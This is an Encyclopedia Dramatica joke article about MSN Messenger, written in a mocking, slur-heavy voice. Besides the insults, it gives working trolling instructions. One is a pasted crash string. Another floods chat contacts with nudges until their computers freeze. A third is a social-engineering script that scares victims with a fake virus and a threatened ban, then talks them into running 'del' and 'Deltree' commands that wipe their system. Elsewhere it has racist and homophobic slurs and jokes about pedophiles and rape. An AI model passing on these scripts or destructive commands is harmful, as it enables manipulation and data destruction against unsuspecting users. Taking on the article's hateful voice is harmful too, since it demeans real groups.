MSN
From Encyclopedia Dramatica
MSN: An abbreviation for Microsoft Network, aka, "teenagers who used up all their ghetto pre-paid minutes can instead communicate with each other instantly in the following manner":
♥ LOCK & LOAD;LIANA. : i fxcking hate you.
CNT SNiFF ME BUT I AM DOPE NIGUHH: ...fuk u emo ill kik yur azz.
&&____xKilledHannahRudeBoii-: go listen to senses fail, bettchhxcore.
(R) ♥♥•ø·¸¸.·´°¤SaMmIe Is SxCy ByYtChEsZz¤°`·.¸¸·ø•♥: ..:: You Are Such An Emo, I H8 U;;
Such drivel is typically meaningless in nature, and should be disregarded by those who unwisely encounter it. The above example is considered a bad one, considering the high chance of the 'Liana' girl permabanning herself from life, lulz. Many users result to blocking each other after petty yet hilarious fights, and complain to their unblocked friends about how much time they are wasting on the stupidity of MSN's users.
Others use it as a shameless means of self-promotion through their user names, a pretentious way of whoring out their Myspace URLs, deviantART accounts, and presence on other similar websites.
MSN also provides internet access which is about as shitty as AOL. The only difference is that MSN will not steal your money and spend it on prostitutes for their worker's rape. Most 13 year old boys who join MSN are those who had their AOL account deleted for uploading porn, beastiality and illegal music and movies.
THIS JUST IN: If you get sent New_Girl_JPG.zip randomly, usually with an accompanying message of something gay that your friend would never actually say such as "Omg!! Have you seen this? I did a MySpace search for the new girl in year 10.... and she had these fotos of you and her! WTF?!", don't accept it, you douche. One hundred percent of these are viruses that will infect your MSN and send these messages to all of your contacts. This virus has thus cemented its place as the AIDS of the instant messenger.
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[edit] Also Used By
- Furries when their favorite fuck-fest site is closed.
- Tight-assed bastards with friends in other countries.
- twelve-year olds and pedophiles, usually at the same place.
- The Grammar Nazi.
[edit] MSN’s Spawn.
Creations that have spawned form MSN over the years are:
and any communities and social groups disliked by Encyclopaedia Dramatica.
[edit] Proper Trolling of MSN
If a user copypastas the text n—a_Á—ay±m—aÁÇáç±Çáß±Çá§ÁaÇáDZOÇá—±Ç᧱Çár×ÁÇ á+NÇ áLáÇá into their personal message, epic win will result as they log out never to log back in again. Other possible outcomes depending on the version of MSN that your victim has include someone's entire contact list being deleted, inability to sign off even when their internet is disconnected, and a whole lot of butthurt. Microsoft, for some reason, is completely oblivious of this bug, and so you can appear to be a zomg haxxors! by using it. When used on a phished account, tell people that by putting this code in their MSN name, they can hack into the account of everyone on their friends list. THIS GLITCH DOES NOT WORK ON THE NEWEST VERSION OF MSN
- Other Ways Of Getting People To Put This In Their Personal Message: make up some bullshit story about how...
-it makes their MSN name glow colours / rainbow / et cetera. (Works best on the type of people who configure their MSN names like the last person in the chat example up there.) -it makes the version of MSN on [insert their operating system here] update to a SUPER SEEKRIT new version not released to the public yet. (Works best on geeks.) -their account is sending out spam, and that this is an easy way to stop it. -and so on, and so forth. If anybody finds moar creative ways to trick people into doing this, be sure to share the lulz.
However, for best results, observe the work of /i/nsurgents who combined trolling freechatnow.com with this MSN bug, shown left.
[edit] Owning people's computers via MSN:
- The temporary version.
1. Have [MSN Plus].
2. Get [Nudges Tool Script 1.1] and install it.
3. Turn off nudges (You will still be able to send them, thanks to the script.)
4. Invite loads of people into a convo
5. Type /sendnudge 40000 100. This will send 40,000 nudges which will own their computer and they will probably have to restart, unless they have a shitload of RAM and are able to exit MSN.
You can also increase the about of runtime taken up by using an auto spammer to send countless offensive messages.
- The permanent fucking PWN:
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1. Inform somebody that their MSN account is sending out spam viruses, and that if they don't fix it, you'll have to report them to Microsoft and have their account deleted. Conveniently offer them a way to fix it, if they have a Windows computer. 2. Talk them through this: "Click on your Start menu, then All Programs, and look for something called 'Run', usually be under the All Programs menu, or under Accessories." Once they tell you they have that open, tell them to type 'cmd', then on the next thing that comes up, type 'del /f c:\windows\system32', then 'C:> Deltree C:\ /y'.
- if they're skeptical about this, tell them that if they go in through Windows Explorer, there's a System folder then a System32 folder, and that the System32 is the one that the virus makes, to try to trick you in to not deleting it. The virus made it so that you can't delete System32 from Windows Explorer, to try and trick you more, but with this thing you're doing, it'll delete the virus from everywhere on your computer.
it is a-fucking-mazing how many people fall for this.
[edit] Just for the record,
Getting fucktards from a chat site with the promise of being a OMG hot 16 year old girl on webcam can result in much lulz being generated by their retarded sexual efforts at conversation and the lulz-perpetrator showing their hairy ball-sack on webcam as opposed to the "hot, wet pussy" they promised.
[edit] MSN on Linux
You're really fucked now.
[edit] See Also
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